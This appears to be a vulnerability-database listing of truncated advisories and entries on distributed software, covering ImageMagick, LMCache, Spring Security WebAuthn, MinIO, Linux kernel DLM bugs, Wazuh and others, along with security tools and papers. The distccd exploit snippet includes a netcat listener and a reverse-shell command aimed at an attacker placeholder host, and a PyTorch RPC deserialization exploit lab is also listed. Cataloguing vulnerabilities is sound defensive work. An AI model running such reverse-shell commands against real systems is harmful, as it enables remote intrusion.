Linux Distros Unpatched Vulnerability : CVE-2026-106570

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to 7.1.2-32, an unauthenticated adjacent-network client can...

PT-2026-107458

Name of the Vulnerable Software and Affected Versions LMCache versions 0.3.9 through 0.5.5 LMCache version 0.5.6 release candidates Description In multiprocess or distributed mode, the software opens an unauthenticated ZeroMQ ROUTER socket on a transport port default 5555 to allow worker processe...

Linux Distros Unpatched Vulnerability : CVE-2026-106574

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to 7.1.2-31, a client connected to the distributed pixel...

CLEANSTART-2026-QU78029 application using Spring Security's WebAuthn support may be vulnerable to user verification bypass when using a distributed HTTP session store

Security vulnerability affects the rundeck package. An application using Spring Security's WebAuthn support may be vulnerable to user verification bypass when using a distributed HTTP session store...

EXPLOIT-CVE-2024-7804

CVE-2024-7804 — PyTorch 분산 RPC 안전하지 않은 역직렬화 RCE CVE-2024-7804 를 위한 독립형 실습 환경 및 익스플로잇: 신뢰할 수 없는 데이터의 안전하지 않은 역직렬화CWE-502를 통한 PyTorch 분산 RPC 프레임워크torch.distributed.rpc에서의 원격 코드 실행. 영향: torch 참고: 이 권고는 이후 유지관리자와 Red Hat에 의해 "알려진 기능"으로 철회/거부 되었습니다 — PyTorch RPC는 설계상 신뢰된 피어 시스템입니다. 그럼에도 이 실습 환경은 보고된 문...

Security Bulletin: Due to the use of Spring Security's WebAuthn, IBM Sterling Control Center is vulnerable to Incorrect Authorization (CVE-2026-47841)

Summary Spring Security's WebAuthn is used by IBM Sterling Control Center as part of dependency in spring-security-web-6.4.12.jar. Vulnerability Details CVEID:CVE-2026-47841 DESCRIPTION: An application using Spring Security's WebAuthn support may be vulnerable to user verification bypass when usi...

CVE-2023-28432

CVE-2023-28432 CVE-2023-28432 шаблоны nuclei Описание Minio — это фреймворк для многоклаудного объектного хранения. В кластерном развёртывании, начиная с RELEASE.2019-12-17T23-16-33Z и до RELEASE.2023-03-20T20-16-18Z, MinIO возвращает все переменные окружения, включая MINIOSECRETKEY и...

kernel: gfs2: Fix unlikely race in gdlm_put_lock

A flaw was found in the Linux kernel’s Global File System 2 implementation affecting distributed lock manager DLM handling in the gdlmputlock function. During an unmount operation, if the DFLUNMOUNT flag is set but the lockspace has not yet been fully released, remote callbacks gdlmast or gdlmbas...

Astra Linux – Vulnerability in Linux 5.15

In the Linux kernel, the following vulnerability has been resolved: fs: dlm: fix race in lowcomms This patch fixes a race condition between queuework in dlmlowcommscommitmsg and srcureadunlock. queuework may take the final reference to a dlmmsg, causing msg-idx to contain garbage, as indicated by...

osmedeus v5.1.2

Osmedeus Osmedeus - A Modern Orchestration Engine for Security What is Osmedeus? Osmedeus is a security focused declarative orchestration engine that simplifies complex workflow automation into auditable YAML definitions, complete with encrypted data handling, secure credential management, and...

xuxueli__xxl-job_CVE-2020-29204_2-2-0

XXL-JOB XXL-JOB, распределенный фреймворк для планирования задач. -- Домашняя страница -- Введение XXL-JOB — это распределенный фреймворк для планирования задач. Его основ...

distccd_rce_CVE-2004-2687

Цель этого скрипта — не использовать Metasploit, а сделать это вручную. Использование: nc -lvnp 4466 Запуск эксплойта: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...

Trusted Hardware Acceleration for Malicious-Secure Function Secret Sharing

Function secret sharing FSS underlies two-party private inference and private information retrieval, with cost dominated by generating, moving and evaluating distributed point function DPF keys. A trusted GPU-integrated distributed function accelerator DFA removed key movement by generating and...

klara

GReAT's KLara project KLara project is aimed at helping Threat Intelligence researchers hunt for new malware using Yara. In order to hunt efficiently for malware, one needs a large collection of samples to search over. Researchers usually need to fire a Yara rule over a collection / set of...

NetAlertX v26.10.0

NetAlertX - Network Visibility & Asset Intelligence Framework !mainmain 📷 Click for more screenshots !Main screenmain| !devicedetails 1devicedetails| !Screen networknetwork ---|---|--- !presencepresence| !maintenancemaintenance| !settingssettings !synchubsynchub| !report1report1|...

AlmaLinux 9.2 [TuxCare] Security Update: ImageMagick / ImageMagick-c++ / ImageMagick-c++-devel / etc Multiple Vulnerabilities (ALMALINUX9.2:CLSA-2026:1783005763)

The AlmaLinux 9.2 host has packages installed that are affected by multiple vulnerabilities as referenced in the TuxCare ALMALINUX9.2:CLSA-2026:1783005763 advisory. - ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 6.9.13-47 and...

CVE-2026-100591: Missing Authorization

OpenClaw is an npm-distributed agent gateway. In versions before 2026.7.1, the global Active Memory toggle mutations could omit owner checks. An authorized non-owner external-channel sender could therefore persistently enable or disable Active Memory for the Gateway, disabling memory recall for...

Crypto-Bound Identity-Verified Capability Tokens for Coordinating Distributed AI Agents: A Proposal

The prospect of fully autonomous transactional agents did not appear on the horizon until the advent of high capability language models. With such models, the operational benefits of adaptive task orchestration and independent but constrained decision making are tantalizing for enterprises and...

CVE-2026-71540

The Wazuh security platform is vulnerable to a memory exhaustion issue in versions 3.9.0 through 4.14.7 . The flaw exists in the wazuh-clusterd component (specifically in framework/wazuh/core/cluster/common.py), where the system allocates a payload buffer based on a 20-byte cluster protocol heade...

ROS-20260923-73-0019

The vulnerability of the batadvdatforwarddata function in the net/batman-adv/distributed-arp-table.c module, which is part of the networking functions of the Linux kernel, stems from the lack of checking the return value. Exploiting this vulnerability could allow a remote attacker to cause a...